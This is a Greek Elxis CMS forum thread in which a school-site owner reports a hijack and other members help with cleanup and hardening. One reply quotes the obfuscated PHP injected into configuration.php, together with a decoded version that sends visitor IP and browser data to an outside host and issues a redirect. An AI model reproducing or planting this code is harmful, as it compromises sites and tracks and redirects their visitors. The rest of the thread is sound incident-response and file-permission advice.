Elxis CMS Forum

Ελληνικό Forum => Ασφάλεια => Topic started by: fotis on May 05, 2011, 15:45:23

Title: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: fotis on May 05, 2011, 15:45:23
Γεια σας
τελευταία έκανα αναβάθμιση σε site που έχω στο Πανελλήνι Σχολικό Δίκτυο από 2008 σην τελευταία έκδοση, και πάνω που είχα ολοκληρώσει τα πάντα, ξέχασα να επαναφέρω τα δικαιώματα των φακέλων σε ασφαλή κατάσταση και μετά από μερικές μέρες διαπίστωσα πως πια δεν έβλεπα το site το δικό μου αλλά το http://searchportal.information.com/?o_id=164060&domainname=referer_detect
Μπήκα με fileZilla στους φακέλους και βλέπω πως στα δικαιώματα γράφει  flcdmpe(0775)  και στον ιδιοκτήτη 30551000
Τοsite μου είναι dim-livad.koz.sch.gr
Τι γίνεται τώρα;
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: ks-net on May 05, 2011, 18:22:09
πιθανότα την εφαγες απο καποιο hacker...

θα πρεπει καποιος να το δει απο μέσα...

αν θες δωσε μου προσβαση  ftp να του ριξω μια ματια
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: ks-net on May 05, 2011, 18:57:50
την έφαγες γερά και γρήγορα...
στο configuration.php

Quote
<?php eval(base64_decode('Z2xvYmFsICRyZXNwb25zZV9zZXNzaW9uczsNCg0KaWYoISRyZNwb25zZV9
zZXNzaW9ucykgew0KCSRyZXNwb25zZV9zZXNzaW9ucyA9ICJhbGl2ZSI7DQoNCgkkcz1iYXNlNjRfZW5jb2R
lKHN0cnJldihiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnUkVNT1RFX0FERFInXk
0cnRvbG93ZXIodHJpbSgkdFswXSkpPT0ibG9jYXRpb24iKSB7DQoJCQkJJHJlbG9jID0gdHJpbSgkdFsxXSk7DQoJCQl9DQo
JCX0NCgkJaWYoJHJlbG9jICYmICFzdHJsZW4oc3RycG9zKCRyZWxvYywnMDAwMDEwMjAnKSkIHsNCgkJCWlmKCFAa
GVhZGVyc19zZW50KCkpIHsNCgkJCQlAaGVhZGVyKCJIVFRQLzEuMSAzMDIgRm91bmQ
iKTsNCgkJCQlAaGVhZGVyKCJWYXJ5OiBBY2NlcHQtRW5jb2RpbmcsVXNlci1BZ2?>

ΠΟΥ ΠΑΕΙ ΝΑ ΠΕΙ με λιγα λογια
Code: [Select]
global $response_sessions;

if(!$response_sessions) {
$response_sessions = "alive";

$s=base64_encode(strrev(base64_encode(str_replace('|','',$_SERVER['REMOTE_ADDR']).'|'.str_replace('|','',$_SERVER['HTTP_ACCEPT']).'|'.str_replace('|','',$_SERVER['HTTP_USER_AGENT']))));
$u='http://mdmyssd.cz.cc/xp/session.php';
$s=@file_get_contents("$u?t=$s");

if(count($http_response_header)) {
$reloc = '';
foreach($http_response_header as $v) {
$t=explode(": ",$v);
if(strtolower(trim($t[0]))=="location") {
$reloc = trim($t[1]);
}
}
if($reloc && !strlen(strpos($reloc,'00001020'))) {
if(!@headers_sent()) {
@header("HTTP/1.1 302 Found");
@header("Vary: Accept-Encoding,User-Agent");
@header("Location: $reloc");
} else {
κτλ... κτλ...
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: fotis on May 05, 2011, 19:01:21
Αρχάριος σχετικά!!
Τι σημαίνει αυτό; Και τι μπορώ να κάνω;
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: fotis on May 05, 2011, 19:05:55
Να πω ακόμη ότι έχω buckup του configuration πριν από ένα μήνα, βοηθάει αυτό;
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: ks-net on May 05, 2011, 19:15:15

αυτο απλα σημαίνει αυτό που έβλεπες... ενα redirection  σε ξένο site!

τιποτα δε θα κανεις... στο εφτιαξα .. δεν το βλέπεις?

αν θες να κανεις κατι..τοτε ψαξε στα logs να δεις πότε και ποιος και περισσότερο πως στην έκανε!
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: fotis on May 05, 2011, 19:27:40
Ναι , εχεις δίκιο, το βλέπω και σ'  ευχαριστώ πολύ!
Από δω και στο εξής υπάρχει ασφάλεια στο site ή κινδυνεύω ακόμα?
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: ks-net on May 05, 2011, 19:32:06
Quote
Ναι , εχεις δίκιο, το βλέπω και σ'  ευχαριστώ πολύ!
Από δω και στο εξής υπάρχει ασφάλεια στο site ή κινδυνεύω ακόμα?

αυτο είναι σχετικο...
εξαρταται πώς την έπαθες.... πρεπει να βρείς πότε και πώς ανοιξε το configuration.php και αλλαξε το περιεχόμενο... τοτε έχεις και την απάντηση.

εγινε μεσω ftp? http? ... ποια μεθοδο χρησιμοποιησαν?  σε καθε περιπτωση διαφορετικα πραγματα μπορει να φταινε...

πάντως τώρα που κάποιος "είδε" όλες τις ρυθμίσεις σου => ΝΑ ΑΛΛΑΞΕΙΣ κωδικούς ftp/db/elxis πάντού!
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: fotis on May 05, 2011, 19:40:17
Μου βάζεις δύσκολα, γιατί όπως προείπα είμαι σχετικά αρχάριος. Ίσως περισσότερες οδηγίες να με βοηθούσαν καλύτερα, αν έχεις λίγο χρόνο!
Πιστεύω πάντως  έγινε επειδή είχα ξεχάσει, μετά από αναβάθμιση, να επαναφέρω τα δικαιώματα των φακέλων!
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: ks-net on May 05, 2011, 19:46:33
χρειαζονται τα logs του apache και το syslog(αναλογα OS) για την ftp
και ψαξιμο πότε καποιος είχε προσβαση στο configuration.php

από εκεί ξεκινάς...

μπορεί να φταίνε και τα δικαώματα.. τι δικαώματα είχες στο configuration.php?
αλλά μπορεί να φταιει και ολόκληρος ο server
ακομα και ο δικός σου υπολογιστής

πάντως καλό είναι να ενημερώσεις τους διαχειριστες του server  ότι επεσες θύμα 
αν είναι σωστοί  θα πρεπει εμέσως να ψαξουν πώς έγινε... όχι για σένα αλλά για αυτούς, για την δικιά τους ασφάλεια .. να σιγουρευτούν ότι δεν εχει προβλημα ο server!
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: datahell on May 05, 2011, 21:32:28
Εμένα παίδες σε όλες οι παρόμοιες περιπτώσεις που έχω δει και έχω ψάξει οι hackers είχαν καταφέρει να ανεβάσουν script από τρίτες εφαρμογές είτε στο ίδιο site είτε σε άλλο site στον ίδιο server. Αν κάποιος καταφέρει να ανεβάσει ένα php script πάνω στο server/site μετά μπορεί να κάνει ότι θέλει. Το μόνο που μπορείς να κάνεις είναι να παίξεις με τον owner και τα permissions των αρχείων (κατά περίπτωση). Το "open base dir" θα σε προστατεύσει για να μην την φας από άλλο site στον ίδιο server αλλά δεν είναι και 100% σίγουρο αυτό (μπορεί ο επιτιθέμενος να χρησιμοποιήσει την php που τρέχει ως "cli" από το control panel του μηχανήματος).

Ένα tip για site στα οποία που απαιτείται υψηλότατη ασφάλεια.
Κάντε το μόνο άμα καταλαβαίνετε πλήρως το τι κάνετε.

Αλλάζουμε permissions σε όλα τα αρχεία πλην αυτών που βρίσκονται στους φακέλους cache και tmpr σε 444 και στους καταλόγους σε 555. Αυτό σημαίνει πως τα πάντα είναι μη εγγράψιμα ακόμα και για εσάς! Δηλαδή δεν θα μπορείτε να ανεβάσετε εικόνες, να εγκαταστήσετε modules, κλπ. Ο μόνος που μπορεί να γράψει πάνω τους είναι ο χρήστης root. Εναλλακτικά μπορούμε να τους βάλουμε permissions 644/755 και να αλλάξουμε τον owner σε root (chown -R root:root *). Αν όμως έχετε suphp το τελευταίο δεν θα δουλέψει (θα έχετε σφάλματα).

Code: [Select]
cd /στον/root/κατάλογο/του/elxis/
find . -type f -exec chmod 0444 {} \;
find . -type d -exec chmod 0555 {} \;
chmod tmpr 0777 (ή καλύτερα 0755 αν η php τρέχει ως suphp/suexec)
chmod cache 0777 (ή καλύτερα 0755 αν η php τρέχει ως suphp/suexec)
cd cache
rm -rf *
touch index.html

Αν θέλετε λίγη ευελιξία μπορείτε να κάνετε τον φάκελο images και τους υποκαταλόγους του εγγράψιμους ώστε να μπορείτε να ανεβάζετε εικόνες. Για να πειράξετε τα "read only" πλέον αρχεία απαιτείται πρόσβαση root.

Εναλλακτικό σενάριο.
Επειδή στο 90% των περιπτώσεων τις επιθέσεις τις τρώνε 3-4 αρχεία μπορείτε να κάνετε μη-εγγράψιμα (permissions 444) μόνο αυτά:
index.php
index2.php
configuration.php
templates/to_template_mou/index.php

Elxis 2009.3 security
Στο Elxis 2009.3 το security.php παρέχει ένα επίπεδο προστασίας από επιθέσεις ακόμα και αν ο elxis defender είναι απενεργοποιημένος. Αν αυτό σας προκαλεί προβλήματα μπορείτε να το απενεργοποιήσετε ανοίγοντας το includes/Core/security.php και αλλάζοντας αυτό:
$protect_qstring = 1;
σε αυτό:
$protect_qstring = 0;

Ποιο έξυπνη προστασία.
Ένα τρυκ είναι να παρακολουθούμε την κατάσταση κάποιων βασικών αρχείων του συστήματος και να σταματάμε την εκτέλεση του elxis αν παρατηρηθούν αλλοιώσεις σε κάποιο από αυτά. Ακόμα πιο έξυπνα, μπορούμε να επαναφέρουμε αυτόματα τη σωστή έκδοση του αρχείου από κάποια "αποθήκη". Μπορούμε επίσης να στέλνουμε ένα ειδοποιητήριο email στον διαχειριστή αν συμβεί κάτι τέτοιο.

Για να το κάνουμε αυτό θα πρέπει να ξέρουμε ποια είναι η φυσιολογική κατάσταση του κάθε αρχείου. Ένα εύκολος τρόπος να το κάνουμε είναι να λάβουμε το md5 hash του αρχείου:
md5_file('absolute/path/to/file');
Αποθηκεύουμε αυτά τα hashes σε ένα array και κάθε φορά που εκτελείται το elxis ελέγχουμε αν η αποθηκευμένη τιμή ισούται με την τρέχουσα. Αν όχι αυτό σημαίνει πως το αρχείο έχει αλλοιωθεί και σημαίνουμε συναγερμό. Ο κώδικας ελέγχου θα πρέπει να μπει σε κάποιο αρχείο που τρέχει πριν εκκινήσει το elxis όπως το security.php ή το loader.php

Ένα απλό παράδειγμα
Code: [Select]
<?php 
$protected_files 
= array(
&#39;file1&#39; => &#39;md5_hash_for_file1&#39;,
&#39;file2&#39; => &#39;md5_hash_for_file2&#39;,
&#39;file3&#39; => &#39;md5_hash_for_file3&#39;,
&#39;file4&#39; => &#39;md5_hash_for_file4&#39;
);

foreach (
$protected_files as $protected_file => $hash) {
$nhash md5_file($protected_file);
if ($nhash != $hash) {
@mail(&#39;info@example.com&#39;, &#39;File modified!&#39;, &#39;blah blah&#39;);
die(&#39;Detected modification of a system file!&#39;);
}
}
?>

Μία παρόμοια προστασία θα έχει ενσωματωμένη το Elxis Nautilus (τέτοια συστήματα δεν έχει κανένα άλλο cms).

Μου χάκεψαν το site, τι κάνω;
Αν έχουν χακέψει το site σας έστω και στο ελάχιστο μην προσπαθήσετε να συνδεθείτε στην διαχείριση. Μην το βλέπετε καν από το browser εκτός αν απενεργοποιήσετε πρώτα την javascript (firefox -> επιλογές -> περιεχόμενο -> ενεργοποίηση javascript on/off). Και αυτό γιατί μπορεί να υπάρχει κακόβουλος κώδικας που να σας υποκλέψει κωδικούς ή κάτι άλλο. Συνδεθείτε στο ftp και επεξεργαστείτε το configuration.php βάζοντας το $mosConfig_offline σε 1 ώστε να βγει το site offline.

Δείτε τα logs
Δείτε τα logs (access και error) του apache για να εντοπίσετε τι έγινε.

Κάντε έλεγχο για το ποια αρχεία αλλοιώθηκαν.
Για να το κάνετε εκτός elxis συνδεθείτε σε ένα shell και δείτε ποια αρχεία τροποποιήθηκαν την τελευταία ημέρα:
cd /path/to/elxis/root/folder/
find . -type f -mtime -1

Σημείωση: μερικά script πειράζουν την ημερομηνία τροποποίησης ώστε να μην φαίνεται ότι αλλοιώθηκαν, εκεί θέλετε διαφορετικό τρόπο εύρεσης των αλλοιώσεων (κατά περίπτωση). Για παράδειγμα αν γνωρίζετε το trojan μπορείτε να ψάξετε με το όνομά του ή με το μέγεθός του. Πχ αν το κακόβουλο script έχει μέγεθος 150kb μπορείτε εύκολα να το εντοπίσετε ελέγχοντας όλα τα αρχεία που είναι μεγαλύτερα από 140kb με αυτό:
find . -type f -size +140k

Έλεγχος βάσης
Συνδεόμαστε στο phpmyadmin και κάνουμε έλεγχο στον πίνακα users αν έχει γραφτεί κάποιος χρήστης ως διαχειριστής ή κάτι άλλο. Εναλλακτικά μπροούμε να επαναφέρουμε ένα backup της βάσης. Αν θέλουμε αλλάζουμε και κωδικό πρόσβασης για τον χρήστη admin (γράφουμε τον κωδικό και επιλέγουμε κρυπτογράφιση md5).

Αφού επαναφέρετε τα σωστά αρχεία και ελέγξετε τη βάση βάλτε το site online, βάλτε τον firefox σε "ιδιωτική περιήγηση", απενεργοποιήστε την javascript και δείτε τον html κώδικα που παράγει το site σας και ψάξτε για περίεργα javascript, εικόνες και frames. Αν όλα είναι οκ ενεργοποιήστε την javascript, συνδεθείτε στη διαχείριση και κάντε έλεγχο συστήματος αρχείων με το εργαλείο updiag.
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: ArXoS on May 07, 2011, 17:15:22
 ;D ;D

τα΄πες όλα  :D
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: Dimitris Kanatas on May 07, 2011, 17:54:46
Το πρόβλημα είναι γνωστό από τα τέλη Απριλίου και είχαν ενημερωθεί οι υπεύθυνοι (βέβαια δε στείλανε κάποια ενημέρωση κι αυτοί). Δεν αφορά μόνο το συγκεκριμένο site αλλά τα περισσότερα (https://forum.elxis.org/index.php?topic=41.msg40290#msg40290) sites των χρηστών.

Το θέμα πρέπει να γίνει... μόνιμο για όλα αυτά που αναφέρει ο datahell  και ο ks-net (ή Bookmarks - τι χρήσιμη λειτουργία κι αυτή!!!!) .
Title: Re: Δικαιώματα-ιδιοκτήτης στους φακέλους
Post by: ArXoS on May 08, 2011, 23:10:17
.. ή Bookmarks - τι χρήσιμη λειτουργία κι αυτή!!!!

Ευχαριστώ ευχαριστώ   (https://forum.elxis.org/index.php?topic=3826.0);D ;D